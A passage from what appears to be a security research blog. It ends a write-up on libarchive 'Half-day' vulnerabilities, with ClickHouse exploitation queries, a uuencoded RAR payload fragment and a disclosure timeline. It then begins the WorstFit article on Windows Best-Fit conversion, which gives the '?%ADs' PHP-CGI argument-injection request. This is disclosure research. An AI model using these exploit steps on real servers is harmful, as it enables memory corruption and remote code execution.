perhaps no one even knew the vulnerabilities existed! We can see that Microsoft had already fixed the libarchive fork used in Windows back in January: <img src="/assets/img/blog/20250212/60.png" alt="" /></p> <p>However, the corresponding two patches for libarchive were merged in May and April, respectively: <img src="/assets/img/blog/20250212/61.png" alt="" /></p> <p>Wouldn’t it mean that anyone who has been closely following Windows patches would immediately discover that there were two unpatched vulnerabilities in the libarchive upstream? These vulnerabilities would be considered 1-day for the Windows forked version of libarchive, because they have been discovered and patched. However, for libarchive upstream, they are 0-day, as no patch has been made, and the maintainers may even be unaware of the issue! We will refer to this situation as “0.5-day” or “Half-day” in the rest of the article.</p> <p>So, we began searching for large projects that use libarchive. We wanted to simulate a “Half-day attack” scenario and also believed that vendors incorporating libarchive in their software would be more willing to help us urge libarchive to patch the vulnerabilities.</p> <h3 id="attacking-clickhouse">Attacking ClickHouse</h3> <p>After some investigation, we discovered that ClickHouse uses libarchive for decompression, which likely contains the vulnerable code. In ClickHouse, we can interact with the data inside the archive through the file table engine: <img src="/assets/img/blog/20250212/62.png" alt="" /></p> <p>However, the manual also mentions that ClickHouse only supports zip, tar, and 7z file formats: <img src="/assets/img/blog/20250212/63.png" alt="" /></p> <p>But is that really the case? Aside from zip, both tar and 7z in ClickHouse are implemented by <code class="language-plaintext highlighter-rouge">TarArchiveReader</code> and <code class="language-plaintext highlighter-rouge">SevenZipArchiveReader</code>, both of which inherit from <code class="language-plaintext highlighter-rouge">LibArchiveReader</code>. The behavior of opening files with <code class="language-plaintext highlighter-rouge">LibArchiveReader</code> is implemented in the <code class="language-plaintext highlighter-rouge">open</code> function. In the <a href="https://github.com/ClickHouse/ClickHouse/blob/0bd3016a17dab23e64a7e550b2754ce7f7aa1d82/src/IO/Archives/LibArchiveReader.cpp#L150">source code</a>, you can see the familiar pattern:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">static</span> <span class="k">struct</span> <span class="nc">archive</span> <span class="o">*</span> <span class="nf">open</span><span class="p">(</span><span class="k">const</span> <span class="n">String</span> <span class="o">&amp;</span> <span class="n">path_to_archive</span><span class="p">)</span> <span class="p">{</span> <span class="k">auto</span> <span class="o">*</span> <span class="n">archive</span> <span class="o">=</span> <span class="n">archive_read_new</span><span class="p">();</span> <span class="k">try</span> <span class="p">{</span> <span class="n">archive_read_support_filter_all</span><span class="p">(</span><span class="n">archive</span><span class="p">);</span> <span class="n">archive_read_support_format_all</span><span class="p">(</span><span class="n">archive</span><span class="p">);</span> </code></pre></div></div> <p>Yes, ClickHouse also uses the <code class="language-plaintext highlighter-rouge">archive_read_support_format_all</code> and the <code class="language-plaintext highlighter-rouge">archive_read_support_filter_all</code> to initialize the libarchive, which means we can trigger the vulnerabilities relative to RAR! All we need to do next is have ClickHouse decompress the files for us. Although the current decompression feature allows direct access to files on S3, <strong>it could not be used this way at the time</strong>: <img src="/assets/img/blog/20250212/64.png" alt="" /></p> <p>So, we must upload the file first. The following query will create a new table, which will be stored as a file:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'poc.7z'</span><span class="p">,</span> <span class="s1">'Native'</span> <span class="p">,</span><span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'payload'</span><span class="p">)</span> </code></pre></div></div> <p>Even so, the file generated this way would include the table’s metadata. With the metadata present, we cannot make libarchive treat it as a RAR file, thus preventing the vulnerability from being triggered:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000: 0101 0763 6f6c 756d 6e31 0653 7472 696e ...column1.Strin 00000010: 6707 7061 796c 6f61 64 g.payload </code></pre></div></div> <p>We needed to look for formats in ClickHouse’s Output Data Formats that dont’ have metadata at the beginning of the file. We decided to use <code class="language-plaintext highlighter-rouge">TabSeparatedRaw</code> because in <code class="language-plaintext highlighter-rouge">TabSeparatedRaw</code>:</p> <ul> <li>Data is stored row by row.</li> <li>Data within a row is separated by tabs.</li> </ul> <p>For example, if using the following two queries:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'test.7z'</span><span class="p">,</span> <span class="s1">'TabSeparatedRaw'</span><span class="p">,</span> <span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'row1 string'</span><span class="p">)</span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'test.7z'</span><span class="p">,</span> <span class="s1">'TabSeparatedRaw'</span><span class="p">,</span> <span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'row2 string'</span><span class="p">)</span> </code></pre></div></div> <p>The content of the generated file would be:</p> <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>row1 string row2 string </code></pre></div></div> <p>Nonetheless, there is a constraint: the data cannot contain tabs or newlines. If we can overcome this, we can construct a valid RAR file! So, how can we avoid using tabs or newlines? It sounds complicated, but don’t forget that ClickHouse calls <code class="language-plaintext highlighter-rouge">archive_read_support_filter_all</code> to enable all filters for us! The one that fits the <code class="language-plaintext highlighter-rouge">TabSeparatedRaw</code> the most is UUencode. Data that has been UUencoded would look like this:</p> <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>begin 600 exploit.rar.uu M4F%R(1H'`,^0&lt;P``#0````````!287(A&amp;@&lt;`SY!S```-`````````%VI=("0 M,0"VXP0`4,\+``(2'^X4O1EY5QTU#``@````;7-V8W(Q,#`N9&amp;QL`/#&lt;ZFP8 M(AE0S(EB'!(",EM(4I0M-"H*"T6JBHJ!1$1T%IKHFBA0H*:(VV2VP)98R9+* M"*`T'I;&amp;]1&gt;J]&gt;HZ!&gt;KU4=(ZQTC:4VHB@J4WH2D-%--VSX9S);9IOO.9HF2E MH47O?/GG[Y^6LSGO/&gt;&gt;Z&gt;&gt;\]YJS!N3_(^_P3SS"O\S`P+6&lt;_V'P(,#`P,#`B M.EX#-(,!V$Z07A+LVZ?4@K:RB=`NN&lt;+9(IB&lt;?NX``Y[L`3`P,#``,`'/YCL* </code></pre></div></div> <p>Finally, all we need to do next is UUEncode the original RAR payload and then upload it:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'poc.7z'</span><span class="p">,</span> <span class="s1">'TabSeparatedRaw'</span><span class="p">,</span> <span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="n">uu_encoded_rar_payload</span><span class="p">)</span> </code></pre></div></div> <p>Ask ClickHouse to decompress it for us:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT * FROM file('poc.7z :: **', RawBLOB) </code></pre></div></div> <p>That would successfully trigger the out-of-bounds write vulnerability: <img src="/assets/img/blog/20250212/65.png" alt="" /></p> <p>We reported those issues to the Bug Bounty program of ClickHouse on Bugcrowd: <img src="/assets/img/blog/20250212/66.png" alt="" /></p> <p>ClickHouse quickly <a href="https://github.com/ClickHouse/ClickHouse/commit/c8a3a0bb11ad1344fbb50b10f50f8eb2a962aa7f">fixed</a> the issue and was willing to help us urge libarchive to patch the vulnerabilities! While it’s unclear whether Microsoft informed the libarchive maintainers about the CVE-2024-20696 and CVE-2024-20697 vulnerabilities (since there’s no public information, and the <a href="https://github.com/libarchive/libarchive/security/advisories?state=draft">Security Advisories</a> on libarchive’s GitHub repository have no relevant details), as we mentioned earlier, these two vulnerabilities, initially discovered by Microsoft in the forked version of libarchive, were eventually patched in libarchive in May and April, ending the awkward “Half-day” situation.</p> <h3 id="issue-tracking">Issue Tracking</h3> <p>In addition to reporting the two “Half-day” vulnerabilities mentioned earlier, don’t forget that we also reported three other 0-day vulnerabilities, each of which is as follows:</p> <ol> <li>RCE fixed by Microsoft: CVE-2024-26256 <ul> <li>Reported to libarchive on 4/27</li> <li>Fixed on 8/14</li> <li>Closed on 9/28</li> </ul> </li> <li>OOB read in <code class="language-plaintext highlighter-rouge">filter_audio</code> <ul> <li>Reported to libarchive on 3/20</li> <li>Fixed on 4/29</li> <li>Closed on 9/28</li> </ul> </li> <li>OOB read in <code class="language-plaintext highlighter-rouge">filter_delta</code> <ul> <li>Reported to libarchive on 3/20</li> <li>Fixed on 4/29</li> <li>Closed on 9/28</li> </ul> </li> </ol> <p>After several months following the reports, these vulnerabilities were finally patched, by which time it was already September. <img src="/assets/img/blog/20250212/67.png" alt="" /></p> <h4 id="the-half-day-cycle-of-repetition">The “Half-day” Cycle of Repetition</h4> <p>The most severe one is CVE-2024-26256, a vulnerability we reported to Microsoft, which was already patched on Windows in April. <img src="/assets/img/blog/20250212/68.png" alt="" /></p> <p>When we reported the vulnerability CVE-2024-26256 in March, we asked MSRC whether they would submit the patch to libarchive’s GitHub repository, but we didn’t receive a response initially. After Microsoft patched CVE-2024-26256, we followed up to confirm if they had shared the vulnerability information with libarchive maintainers. MSRC replied, “If you wish, we encourage you to open a separate GitHub issue.” To avoid a “Half-day” situation, we immediately created an issue in libarchive’s Security Advisory after receiving their message: <img src="/assets/img/blog/20250212/69.png" alt="" /></p> <p>However, the “Half-day” situation still occurred due to a lack of response. In July, we submitted a PR to port Microsoft’s patch to libarchive. While we weren’t sure if this was the best fix, it was certainly better than leaving the issue unaddressed. As a result, history repeated itself, and we found ourselves stuck in a “Half-day” scenario again, from April until the patch was finally completed in September.</p> <h4 id="the-remaining-two-0-days">The Remaining Two 0-Days</h4> <p>Attentive readers may have already noticed that the issues we reported are not listed under the “Published” tab but rather under “Closed”: <img src="/assets/img/blog/20250212/70.png" alt="" /></p> <p>In addition to CVE-2024-26256, which we mentioned earlier, the other two vulnerabilities are out-of-bounds read issues that had not been assigned CVE identifiers at the time. When a patch is linked to an existing CVE number, it is generally understood to be a security fix. However, the other two vulnerabilities were not publicly disclosed. Given that libarchive is widely used across many software applications and services, many users may be unaware they are relying on it. The dependency chains within such software can be large and intricate. If developers or end-users do not recognize that a patch addresses a security issue, the fix may propagate slowly through the dependency chain, significantly increasing the risk exposure.</p> <p>As a result, after confirming that libarchive had closed the issue, we promptly applied for CVE identifiers for these vulnerabilities. The two vulnerabilities were assigned <a href="https://github.com/advisories/GHSA-rmj4-vvpv-4m33">CVE-2024-48957</a> and <a href="https://github.com/advisories/GHSA-9mw4-2ppr-4mcg">CVE-2024-48958</a>. By the time these were published, it was already October, six months after the patch had been released in April.</p> <h2 id="conclusion">Conclusion</h2> <p>This article discusses the vulnerabilities and notable characteristics introduced when Windows adopted libarchive to support additional archive file formats.</p> <p>We also successfully exploited what we consider “Half-day” vulnerabilities in ClickHouse. These “Half-day” vulnerabilities arise from the fact that after Windows forked libarchive and compiled it into the closed-source archiveint.dll, it failed to promptly inform the libarchive maintainers or contribute the patch back to the upstream repository, leading to the creation of the “Half-day” vulnerability.</p> <p>The delayed fix in the upstream repository can be attributed to communication delays and the absence of a publicly available patch. The maintainers were only able to address the issue after receiving the report, by which point the forked version had already been patched. Therefore, after patching its forked version of libarchive, Microsoft should have not only notified the original maintainers but also submitted a Pull Request to the upstream repository to facilitate the fix.</p> <p>Libarchive maintainers are volunteers who may be unpaid. The open-source ethos encourages everyone to “share, collaborate, and contribute” (and much more). Thus, we believe that researchers should not only provide vulnerability analysis and PoCs but also actively propose fixes to help preserve the security and quality of open-source software when reporting vulnerabilities.</p> https://devco.re/blog/2025/02/12/from-convenience-to-contagion-the-half-day-threat-and-libarchive-vulnerabilities-lurking-in-windows-11-en/ https://devco.re/blog/2025/02/12/from-convenience-to-contagion-the-half-day-threat-and-libarchive-vulnerabilities-lurking-in-windows-11-en Wed, 12 Feb 2025 00:00:00 +0800 WorstFit: Unveiling Hidden Transformers in Windows ANSI! <style> .language-plaintext { background-color: rgba(0, 0, 0, 0.04); padding: 0.2em; font-size: 85%; } .highlight { border-left: 2px solid #44D62C !important; } </style> <p><em>Author: <a href="https://x.com/orange_8361">Orange</a> &amp; <a href="https://x.com/_splitline_">Splitline</a></em></p> <p>The research unveils a new attack surface in Windows by exploiting <strong>Best-Fit</strong>, an internal charset conversion feature. Through our work, we successfully transformed this feature into several practical attacks, including Path Traversal, Argument Injection, and even RCE, affecting numerous well-known applications!</p> <p>Given that the root cause spans compiler behavior, C/C++ runtime and developer’s mistakes, we also discussed the challenges of pushing fixes within the open-source ecosystem.</p> <p>Get the latest update and slides on our website!🔥 → <a href="https://worst.fit/">https://worst.fit/</a></p> <hr /> <p>Let’s imagine that: you’re a pentester, and your target website is running the following code. Can you pop a <code class="language-plaintext highlighter-rouge">calc.exe</code> with that? <!-- You can have a quick try on your own. --></p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nv">$url</span> <span class="o">=</span> <span class="s2">"https://example.tld/"</span> <span class="mf">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'path'</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">".txt"</span><span class="p">;</span> <span class="nb">system</span><span class="p">(</span><span class="s2">"wget.exe -q "</span> <span class="mf">.</span> <span class="nb">escapeshellarg</span><span class="p">(</span><span class="nv">$url</span><span class="p">));</span> </code></pre></div></div> <p>You can have a quick try on your own. The PHP code uses a secure way to spawn the command. Looks a bit hard, right?</p> <p>Well, today, we would like to present a new technique to break through it!</p> <p><br /></p> <h2 id="outline">Outline</h2> <blockquote> <ul> <li><a href="#outline">Outline</a></li> <li><a href="#decoding-the-windows-encodings">Decoding the Windows Encodings</a> <ul> <li><a href="#the-early-days-ansi-and-code-pages">The Early Days: ANSI and Code Pages</a></li> <li><a href="#the-unicode-era-utf-16">The Unicode Era: UTF-16</a></li> <li><a href="#the-dual-era-of-encoding">The Dual Era of Encoding</a></li> </ul> </li> <li><a href="#it-was-the-best-of-fit">It was the Best of Fit</a></li> <li><a href="#it-was-the-worst-of-fit--the-novel-attack-surface-on-windows">It was the Worst of Fit – The novel attack surface on Windows</a> <ul> <li><a href="#-the-nightmare-of-east-asia---cve-2024-4577">🔥 The nightmare of East-Asia - CVE-2024-4577</a></li> <li><a href="#-filename-smuggling">🔥 Filename Smuggling</a></li> <li><a href="#-argument-splitting">🔥 Argument Splitting</a></li> <li><a href="#-environment-variable-confusion">🔥 Environment Variable Confusion</a></li> </ul> </li> <li><a href="#the-duskor-dawnof-the-worstfit">The Dusk–or Dawn–of the WorstFit</a></li> <li><a href="#epilogue">Epilogue</a> <ul> <li><a href="#mitigations">Mitigations</a></li> <li><a href="#conclusion">Conclusion</a></li> </ul> </li> </ul> </blockquote> <p><br /></p> <h2 id="decoding-the-windows-encodings">Decoding the Windows Encodings</h2> <p>If you are a Windows user, you’re probably aware that the Windows operating system supports Unicode. This means we can seamlessly put emojis ✅, áccènted letters, 𝒻𝒶𝓃𝒸𝓎 𝕤𝕪𝕞𝕓𝕠𝕝𝕤 and CJK <abbr title="CHARACTERS">匚卄八尺八匚ㄒヨ尺丂</abbr> pretty much anywhere — like file names, file contents, or even environment variables. But have you ever wondered how Windows manages to handle those non-ASCII characters?</p> <p>Well, to describe this, let’s dive into the history of encoding in Windows first to understand how it handles.</p> <p><img src="/assets/img/blog/20250109/1.png" alt="" /></p> <h3 id="the-early-days-ansi-and-code-pages">The Early Days: ANSI and Code Pages</h3> <p>Windows initially used ANSI encoding, which relied on code pages such as the one shown below. It used 8 to 16 bits to represent a single character. While these mappings were effective for certain languages, they were unable to accommodate mixed or universal character sets.</p> <table> <thead> <tr> <th><strong>Code Page</strong></th> <th><strong>Language</strong></th> </tr> </thead> <tbody> <tr> <td>1250</td> <td>Central / Eastern European languages (e.g., Polish, Czech)</td> </tr> <tr> <td>1251</td> <td>Cyrillic-based languages (e.g., Russian, Bulgarian)</td> </tr> <tr> <td>1252</td> <td>Western European languages (e.g., English, German, French)</td> </tr> <tr> <td>1253</td> <td>Greek</td> </tr> <tr> <td>1254</td> <td>Turkish</td> </tr> <tr> <td>1255</td> <td>Hebrew</td> </tr> <tr> <td>1256</td> <td>Arabic</td> </tr> <tr> <td>1257</td> <td>Baltic languages (e.g., Estonian, Latvian, Lithuanian)</td> </tr> <tr> <td>1258</td> <td>Vietnamese</td> </tr> <tr> <td>932</td> <td>Japanese</td> </tr> <tr> <td>936</td> <td>Simplified Chinese</td> </tr> <tr> <td>949</td> <td>Korean</td> </tr> <tr> <td>950</td> <td>Traditional Chinese</td> </tr> <tr> <td>874</td> <td>Thai</td> </tr> </tbody> </table> <p>For instance, back in the day, as a Taiwanese, if my Japanese friend sent me an article written on their Windows computer, I’d probably end up with a scrambled mess of <a href="https://en.wikipedia.org/wiki/Mojibake">mojibake</a> because my code page 950 system couldn’t properly interpret the Japanese 932 code page.</p> <p>To handle different encoding needs, Windows doesn’t rely on just one type of code page — there are actually two:</p> <ul> <li><strong>ACP</strong> (ANSI Code Page): Used for most applications and system settings, such as file operations or managing environment variables. Our research here primarily focuses on this type of code page, as it significantly impacts the scenarios we’ll examine.</li> <li><strong>OEMCP</strong> (Original Equipment Manufacturer Code Page): Mainly used for device communication, such as reading or writing to the console.</li> </ul> <p>To check which ACP (ANSI code page) you’re using, consider these methods:</p> <ol> <li><strong>Using PowerShell</strong> <div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w"> </span><span class="n">powershell.exe</span><span class="w"> </span><span class="p">[</span><span class="n">Console</span><span class="p">]::</span><span class="nx">OutputEncoding.WindowsCodePage</span><span class="w"> </span></code></pre></div> </div> </li> <li><strong>From the Registry</strong> <div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w"> </span><span class="n">reg</span><span class="w"> </span><span class="nx">query</span><span class="w"> </span><span class="nx">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">ACP</span><span class="w"> </span></code></pre></div> </div> </li> </ol> <p>Additionally, you might also heard of <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp"><code class="language-plaintext highlighter-rouge">chcp</code></a>. However, be aware that <code class="language-plaintext highlighter-rouge">chcp</code> displays the <strong>OEMCP</strong> rather than the ACP, which is the focus of our research here.</p> <h3 id="the-unicode-era-utf-16">The Unicode Era: UTF-16</h3> <p>To address the limitations of code pages, Windows transitioned to Unicode in the mid-1990s. Unlike code pages, Unicode could represent characters from nearly all languages in a single standard.</p> <p>Initially, Windows used UCS-2 for Unicode but soon upgraded to <strong>UTF-16</strong>, which uses 16 bits for most characters and expands to 32 bits for rarer ones (e.g., emojis, ancient scripts). Windows also switched to <strong>wide characters</strong> for core APIs like file systems, system information, and text processing.</p> <p>Now you might be wondering: Hey, what about the most popular Unicode encoding nowadays: <strong>UTF-8</strong>? Well, it’s already there, but still in a sort of beta phase. For most languages, the UTF-8 feature sadly isn’t enabled by default.</p> <p><img src="/assets/img/blog/20250109/2.png" alt="" /></p> <h3 id="the-dual-era-of-encoding">The Dual Era of Encoding</h3> <p>Even though Unicode became the backbone of Windows, Windows still needs to do what they always do: backward compatible. They still need to support the old ANSI code pages. To achieve this, Windows implemented two different versions of APIs:</p> <ul> <li><strong>ANSI APIs</strong>: A Windows code page version with the letter “A” postfix used to indicate “ANSI”. For example, <a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getenvironmentvariablea"><code class="language-plaintext highlighter-rouge">GetEnvironmentVariableA</code></a> function.</li> <li><strong>Unicode APIs</strong>: A Unicode version with the letter “W” postfix used to indicate “wide (character)”. For example, <a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getenvironmentvariablew"><code class="language-plaintext highlighter-rouge">GetEnvironmentVariableW</code></a> function.</li> </ul> <p>This approach allows developers to easily obtain their desired data format by simply switching between the A-postfix and W-postfix APIs.</p> <p>It sounds perfect – But wait, so how can a wide character UTF-16 string also be in the ANSI format? Aren’t they fundamentally different?</p> <p>To illustrate this, let’s explore an example. Imagine we’re on an English (<strong>Windows-1252</strong> code page) system with an environment variable <code class="language-plaintext highlighter-rouge">ENV=Hello</code> stored in the system. The data is internally stored as <strong>UTF-16</strong> (wide character format), but we can retrieve it using both Unicode and ANSI APIs:</p> <ul> <li><strong>Unicode API</strong>: <code class="language-plaintext highlighter-rouge">GetEnvironmentVariableW(L"ENV")</code> ⭢ <code class="language-plaintext highlighter-rouge">L"Hello"</code> (Hex: <code class="language-plaintext highlighter-rouge">4800 6500 6C00 6C00 6F00</code> in UTF-16LE).</li> <li><strong>ANSI API</strong>: <code class="language-plaintext highlighter-rouge">GetEnvironmentVariableA("ENV")</code> — <code class="language-plaintext highlighter-rouge">RtlUnicodeStringToAnsiString</code> ⭢ <code class="language-plaintext highlighter-rouge">"Hello"</code> (Hex: <code class="language-plaintext highlighter-rouge">48 65 6C 6C 6F</code> in ANSI).</li> </ul> <p>For the <strong>Unicode API</strong>, there’s no problem—Unicode in, Unicode out, with no conversion needed. For the <strong>ANSI API</strong>, Windows applies an implicit conversion by calling <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-rtlunicodestringtoansistring"><code class="language-plaintext highlighter-rouge">RtlUnicodeStringToAnsiString</code></a> (or sometimes <a href="https://learn.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-widechartomultibyte"><code class="language-plaintext highlighter-rouge">WideCharToMultiByte</code></a>) to convert the original Unicode string to an ANSI string. Since <code class="language-plaintext highlighter-rouge">"Hello"</code> consists only of ASCII characters, everything works perfectly and as expected.</p> <p>But what happens if the environment variable contains a more complex string, like <strong><code class="language-plaintext highlighter-rouge">√π⁷≤∞</code></strong>, with a lot of non-ASCII characters?</p> <ul> <li><strong>Unicode API</strong>: <code class="language-plaintext highlighter-rouge">GetEnvironmentVariableW(L"ENV")</code> ⭢ <code class="language-plaintext highlighter-rouge">L"√π⁷≤∞"</code> (Hex: <code class="language-plaintext highlighter-rouge">1a22 c003 7720 6422 1e22</code> in UTF-16LE).</li> </ul> <p>The <strong>Unicode API</strong> correctly returns the original string as we expected.</p> <p>Now, what happens with the ANSI API? Are you able to guess the result?</p> <ul> <li><strong>ANSI API</strong>: <code class="language-plaintext highlighter-rouge">GetEnvironmentVariableA("ENV")</code> — <code class="language-plaintext highlighter-rouge">RtlUnicodeStringToAnsiString</code> ⭢ <code class="language-plaintext highlighter-rouge">"vp7=8"</code> (Hex: <code class="language-plaintext highlighter-rouge">76 70 37 3D 38</code> in ANSI) 🤯</li> </ul> <p>Yep, the output is <strong><code class="language-plaintext highlighter-rouge">vp7=8</code></strong>. A strange result, right? I guess you can’t even figure out the connection between the original characters and their character codes!</p> <p>This bizarre transformation is what’s known as <strong>“Best-Fit”</strong> behavior. As a result, the original string <code class="language-plaintext highlighter-rouge">√π⁷≤∞</code> transforms into a nonsensical <code class="language-plaintext highlighter-rouge">"vp7=8"</code>. This behavior highlights the pitfalls of relying on ANSI APIs when handling non-ASCII characters.</p> <p>And actually, it’s not just when using Windows APIs directly — this behaviour also occurs when using non-wide-character version CRT (C runtime) functions like <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/getenv-wgetenv"><code class="language-plaintext highlighter-rouge">getenv</code></a>. Surprisingly, even when you receive arguments or environment variables through a seemingly straightforward non-wide-character <code class="language-plaintext highlighter-rouge">main</code> function like:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> </span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[])</span> <span class="p">{</span> <span class="n">print</span><span class="p">(</span><span class="s">"test_env = %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getenv</span><span class="p">(</span><span class="s">"test_env"</span><span class="p">));</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">argc</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"argv[%d] = %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> </code></pre></div></div> <p>The same Best-Fit behavior applies to both the arguments and the environment variables. Here’s what happens when we run this code:</p> <p><img src="/assets/img/blog/20250109/3.png" alt="" /></p> <p>This happens because, during compilation, the compiler inserts several functions and links the CRT DLLs for you, which internally rely on ANSI Windows APIs. As a result, the same Best-Fit behavior is triggered implicitly.</p> <p>We keep talking about Best-Fit, but how does this quirky behavior actually work in the end?</p> <p><br /></p> <h2 id="it-was-the-best-of-fit">It was the Best of Fit</h2> <p>In Windows, “Best-Fit” character conversion is a way the operating system handles situations where it needs to convert characters from UTF-16 to ANSI, but the exact character doesn’t exist in the target code page.</p> <p>For instance, the <code class="language-plaintext highlighter-rouge">∞</code> (<a href="https://www.compart.com/en/unicode/U+221E">U+221E</a>) symbol isn’t part of the <a href="https://en.wikipedia.org/wiki/Windows-1252#Codepage_layout">Windows-1252 code page</a>, so Microsoft decided to map it to the “<strong>closest</strong>” character—<code class="language-plaintext highlighter-rouge">8</code> (<a href="https://worst.fit/mapping/#CP%3A1252%20FROM%3A0x221e">🔍</a>). Uh, okay. Yeah I guess they kinda look similar, but I thought they should be still completely different things…</p> <p>Anyway, obviously there’s no strict formula for Best-Fit mapping – what Microsoft does is more about making characters look, or even “feel” somewhat alike.</p> <p>Also, different language configurations (code pages) handle mappings differently. For instance, the yen sign (<code class="language-plaintext highlighter-rouge">U+00A5</code>) is mapped to a backslash (<code class="language-plaintext highlighter-rouge">\</code>) on the Japanese (932) code page, to a “Y” on the Central European (1250) code page, and remains unchanged on most other code pages. This variability will play a significant role in how exploits behave across different system settings.</p> <p>If you’re curious about the specifics, you can check out our <a href="https://worst.fit/mapping/">Best-fit Mapping Grepper</a> tool or dive into the raw mapping data on <a href="https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/readme.txt">Unicode.org</a> by yourself.</p> <p>Interestingly, during our research we found that this <strong>Best-Fit</strong> behavior was already mentioned back in Black Hat USA 2009 during Chris Weber’s presentation, <a href="https://www.blackhat.com/presentations/bh-usa-09/WEBER/BHUSA09-Weber-UnicodeSecurityPreview-SLIDES.pdf">“Unicode Security”</a>. However, he only briefly touched on how this feature could be exploited to bypass simple blacklist.</p> <p><em>(<strong>Updated</strong>: After this article was published, we learned that <a href="https://x.com/hasegawayosuke">Yosuke HASEGAWA</a> also mentioned this behavior at <a href="https://www.blackhat.com/presentations/bh-jp-08/bh-jp-08-Hasegawa/BlackHat-japan-08-Hasegawa-Char-Encoding.pdf">Black Hat Japan 2008</a>, covering part of our Filename Smuggling in Japanese code page.)</em></p> <p>But this time, we’re taking big steps forward – showing how those sneaky Best-Fit conversions can operate on a <strong>system-wide level</strong>, leading to even more impactful exploits, all unfolding right under your nose.</p> <p>Now, it’s time to turn this quirky behaviour into something more impactful: <strong>real WorstFit vulnerabilities</strong>.</p> <p><br /></p> <h2 id="it-was-the-worst-of-fit--the-novel-attack-surface-on-windows">It was the Worst of Fit – The novel attack surface on Windows</h2> <p>By delving into the Best-Fit feature, we can harness this unexpected character transformation as a brand-new attack surface on Windows systems. Here, we’ll explore three intriguing attack techniques that exploit this behavior: <strong>Filename Smuggling</strong>, <strong>Argument Splitting</strong> and <strong>Environment Variable Confusion</strong>.</p> <p>Let’s dive into each of these techniques to see how this seemingly thoughtful (at least, from Microsoft’s perspective at the time) feature can lead to critical vulnerabilities!</p> <h3 id="-the-nightmare-of-east-asia---cve-2024-4577">🔥 The nightmare of East-Asia - CVE-2024-4577:</h3> <p>The first ever WorstFit attack is CVE-2024-4577. This vulnerability allows attackers to compromise any PHP-CGI server configured with Chinese or Japanese code pages using nothing more than a <code class="language-plaintext highlighter-rouge">?%ADs</code> request!</p> <blockquote> <p><strong>Affected Code Pages</strong>: 932 (Japanese), 936 (Simplified Chinese), 950 (Traditional Chinese)<br /> <strong>Threat Characters</strong>: <code class="language-plaintext highlighter-rouge">&amp;shy;</code> <a href="https://www.compart.com/en/unicode/U+00AD">U+00AD</a></p> </blockquote> <p>Back in 2012, a vulnerability in PHP-CGI was discovered. The issue stemmed from Apache automatically treating the query string as the first argument for the CGI program. Exploitation was straightforward – argument injection. By appending <code class="language-plaintext highlighter-rouge">?-s</code> to a request, attackers could leak the page’s source code. Furthermore, it’s also possible to achieve Remote Code Execution (RCE).</p> <p>Of course, PHP quickly patched the issue. The fix was also simple: stop parsing arguments if the query string starts with a dash.</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">((</span><span class="n">qs</span> <span class="o">=</span> <span class="nb">getenv</span><span class="p">(</span><span class="s2">"QUERY_STRING"</span><span class="p">))</span> <span 